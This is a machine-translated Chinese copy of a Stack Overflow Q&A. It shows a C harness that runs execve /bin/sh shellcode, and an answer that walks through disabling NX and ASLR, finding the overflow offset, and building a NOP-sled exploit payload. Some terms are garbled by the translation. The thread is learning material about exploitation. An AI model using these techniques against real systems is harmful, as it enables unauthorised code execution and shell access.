2015-10-17 69 views
-1

我试过通过C程序运行大量的shell代码来测试它们。这是Shellcode没有运行

#include<stdio.h> 
#include<string.h> 
unsigned char code[] = "shell here"; 
main() 
{ 
printf("Shellcode Length: %d\n", strlen(code)); 
int (*ret)() = (int(*)())code; 
ret(); 
} 

而这里的例子的shellcode

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\ 
      "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\ 
      "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\ 
      "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\ 
      "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42" 

(\ BIN \猫\等\影子) 运行

gcc sctest.c -o out ./out

这只是后给我的shellcode的长度和分割错误 我已经尝试了很多不同的shellcode,但所有东西都给我segfault 我的dmesg |尾-1 [18440.783383]测试[8768]:测试[8049000 + 1000] 段错误的8049700 IP 08049700 SP bffff2ec错误15这有什么错我的shellcodes?

+2

应该是一个常见问题。在现代系统上,只是执行数据将不再起作用,请参阅* NX位*。 –

+0

@FelixPalmen谢谢!我已经花了很多时间试图了解缓冲区溢出现在看起来我已经准备好利用测试程序 – desu

+0

时下利用缓冲区溢出,您将需要更先进的技术,如ROP(返回导向编程) –

回答

1

禁用NX-bit和其他像randomize_va_space我终于做到了之后。

首先,你应该编译键-z execstack和-fno-堆栈保护您的可执行文件。

该禁用ASLR回声0>的/ proc/SYS /内核/ randomize_va_space后。 现在你必须找到shellcode。你可以试试mspayload或msfvenom。 Shellcode是一个通常给你shell的字节码。

在这一步你应该找到你的堆栈溢出的偏移量。你可以尝试寻找线,如

sub hex-offset, %esp 

或者你可以尝试与像./your_binary <蟒蛇-c简单的脚本来猜解它“打印(‘A’)* N”),其中n是你的偏移

找到偏移量后(SEGFAULT发生,dmesg | tail -1表示%eip为0x41414141),您只需编写漏洞利用程序。它的结构看起来像

NOPs(no operation)*x+shellcode+return-address(4 bytes)*y 

LEN(shellcode的)+ X + 4Y =您的偏移 如果返回地址是在堆栈中的地方,你的NOP指令位于(%ESP的地址,你在看的地址输入之前GDB信息R)

而且不要忘记,利用在gdb其中的作品,因为你需要从你的返回地址添加/ 36个。减去字节将没有GDB工作。

最后你准备现在利用

./your_binary < exploit.bin